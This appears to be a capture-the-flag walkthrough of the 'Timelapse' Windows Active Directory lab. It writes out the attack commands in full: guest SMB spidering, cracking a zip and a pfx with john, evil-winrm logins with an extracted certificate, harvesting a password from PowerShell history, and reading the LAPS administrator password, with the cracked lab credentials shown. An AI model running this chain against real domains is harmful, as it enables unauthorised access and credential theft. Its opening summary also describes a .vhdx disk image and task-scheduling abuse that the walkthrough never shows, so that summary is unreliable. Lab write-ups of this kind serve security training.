Timelapse

Timelapse emulates a modern corporate workstation environment integrated with Active Directory and custom time-tracking software.

Access began with SMB enumeration revealing backup files containing hashed credentials. After cracking them, WinRM access was gained.

Escalated to SYSTEM by recovering the local admin password stored in an encrypted .vhdx file and decrypting it using the found certificate and private key.

This machine highlights the importance of secure task scheduling and the dangers of password reuse in internal backups.

Timelapse is a strong case of combining credential access and system task abuse for full control.

Why I Chose This Machine

I selected Timelapse because it simulates a realistic corporate Windows environment involving Active Directory, certificate abuse, and credential leakage via backup images.

This machine is ideal for practicing modern privilege escalation methods that don’t rely on traditional service or binary misconfigurations — but rather data exposure and crypto material misuse.

Attack Flow Overview

1. Enumerated SMB shares and found an encrypted .vhdx disk image
2. Mounted the image to extract sensitive LAPS-related credential files
3. Retrieved and decrypted a certificate to access the password of svc_deploy
4. Switched to svc_deploy and reused credentials to impersonate Administrator

The box demonstrates a full attack using Windows AD backup artifacts and showcases how credential recovery chains can be pieced together from unstructured data.

Enumeration

• SMB contains password-protected winrm_backup.zip file.
  • Crack the file using zip2john
• The output is a pfx file which contains an SSL certificate in PKCS#12 format and a private key.
• PFX file can be used by WinRM in order to login without a password.
  • Use pfx3john to convert the .pfx into hash format and use john to crack the password.
  • Extract the SSL certificate and private key from the .pfx file.

Nmap

Nmap scan report for 10.10.11.152
Host is up, received user-set (0.018s latency).
Scanned at 2024-08-11 11:50:01 AEST for 634s
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain?       syn-ack
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-08-11 09:51:03Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5986/tcp  open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2024-08-11T10:00:32+00:00; +7h59m57s from scanner time.
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Issuer: commonName=dc01.timelapse.htb
...
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack Microsoft Windows RPC
49695/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB

nxc smb 10.10.11.152 -u 'guest' -p '' -M spider_plus

{
    "Shares": {
        "Dev/winrm_backup.zip": {
            "atime_epoch": "2022-03-04 19:00:38",
            "ctime_epoch": "2021-10-26 02:48:14",
            "mtime_epoch": "2021-10-26 08:05:30",
            "size": "2.55 KB"
        },
        "HelpDesk/LAPS.x64.msi": {
            "atime_epoch": "2021-10-26 02:48:42",
            "ctime_epoch": "2021-10-26 02:48:42",
            "mtime_epoch": "2021-10-26 02:55:14",
            "size": "1.07 MB"
        },
        "HelpDesk/LAPS_Datasheet.docx": {
            "atime_epoch": "2021-10-26 02:48:42",
            "ctime_epoch": "2021-10-26 02:48:42",
            "mtime_epoch": "2021-10-26 02:55:14",
            "size": "101.97 KB"
        },
        "HelpDesk/LAPS_OperationsGuide.docx": {
            "atime_epoch": "2021-10-26 02:48:42",
            "ctime_epoch": "2021-10-26 02:48:42",
            "mtime_epoch": "2021-10-26 02:55:14",
            "size": "626.35 KB"
        },
        "HelpDesk/LAPS_TechnicalSpecification.docx": {
            "atime_epoch": "2021-10-26 02:48:42",
            "ctime_epoch": "2021-10-26 02:48:42",
            "mtime_epoch": "2021-10-26 02:55:14",
            "size": "70.98 KB"
        }
    }
}

winrm_backup.zip

zip2john winrm_backup.zip > hash
john -w=/usr/share/wordlists/rockyou.txt hash

legacyy_dev_auth.pfx

The output is a PFX file that includes an SSL certificate and a private key in PKCS#12 format.

PFX files allow WinRM to authenticate without requiring a password.

# extracting SSL certificate and a private key
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes

supremelegacy is not the correct password.

Using the pfx2john, I can convert the pfx file into a hash format.

Then, use John to crack the password.

python3 /usr/share/john/pfx2john.py legacyy_dev_auth.pfx > pfx.john

john pfx.john -w=/usr/share/wordlists/rockyou.txt

thuglegacy

I can now extract the SSL certificate and private key from the pfx file as below.

# extract the private key from the pfx file
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes

# extract the SSL certificate from the pfx file
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem

LAPS_Datasheet.docx

LAPS_OperationsGuide.docx

LAPS_TechnicalSpecifications.docx

LDAP

ldapsearch -x -H ldap://10.10.11.152 -D '' -w '' -b "DC=timelapse,DC=htb" > tmp

# copy paste the output into tmp and show unique items (anomaly) 
cat tmp | awk '{print $1}' | sort | uniq -c | sort -nr

Foothold

• Evil-winrm using the certificate and private key.

Extracting Keys

# dump the key
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key-enc

# decrypt the key
openssl rsa -in legacyy_dev_auth.key-enc -out legacyy_dev_auth.key

# dump the certificate
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt

Evil-winrm

#  initial try - did not work
evil-winrm -i 10.10.11.152 -c cert.pem -k key.pem 

# this worked
evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

Lateral Movement

• The command line history shows new login credentials.
• Evil-winrm using the obtained credentials svc_deploy.

Reading PowerShell history

# Read history
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

svc_deploy : E3R$Q62^12p7PLlC%KWaxuaV

Evil-winrm as svc_deploy

evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Privilege Escalation

• svc_deploy is a member of LAPS_Readers group.
• Running Get-ADComputer DC01 -property 'ms-mcs-admpwd' shows the password for the administrator.
• Evil-winrm as admin.

WinPEAS

Program ‘peas.exe’ failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted software.

AV is enabled on the target machine.

Manual Enumeration

-> LAPS_Readers group.

The “Local Administrator Password Solution” (LAPS) is used to manage local account passwords of Active Directory computers.

Read Password

Get-ADComputer DC01 -property 'ms-mcs-admpwd'

Evil-winrm as admin

evil-winrm -i timelapse.htb -S -u administrator -p '55T{8XL047sxk(5Iv}fK3o02'

Alternative Paths Explored

Initial enumeration focused on LDAP and RPC enumeration, which returned limited information.
Attempts to escalate via service misconfigs and AlwaysInstallElevated failed.
Only after examining backup image contents and reconstructing the certificate chain did the path to SYSTEM become clear — reinforcing the value of offline credential extraction.

Blue Team Perspective

Timelapse highlights how even encrypted backup files can be dangerous if decryption keys or certs are accessible elsewhere.
Mitigations include:

• Never storing certs and private keys alongside protected assets
• Isolating LAPS material and enforcing proper ACLs on SMB shares
• Monitoring access to .vhdx files and unusual mounting activity on endpoints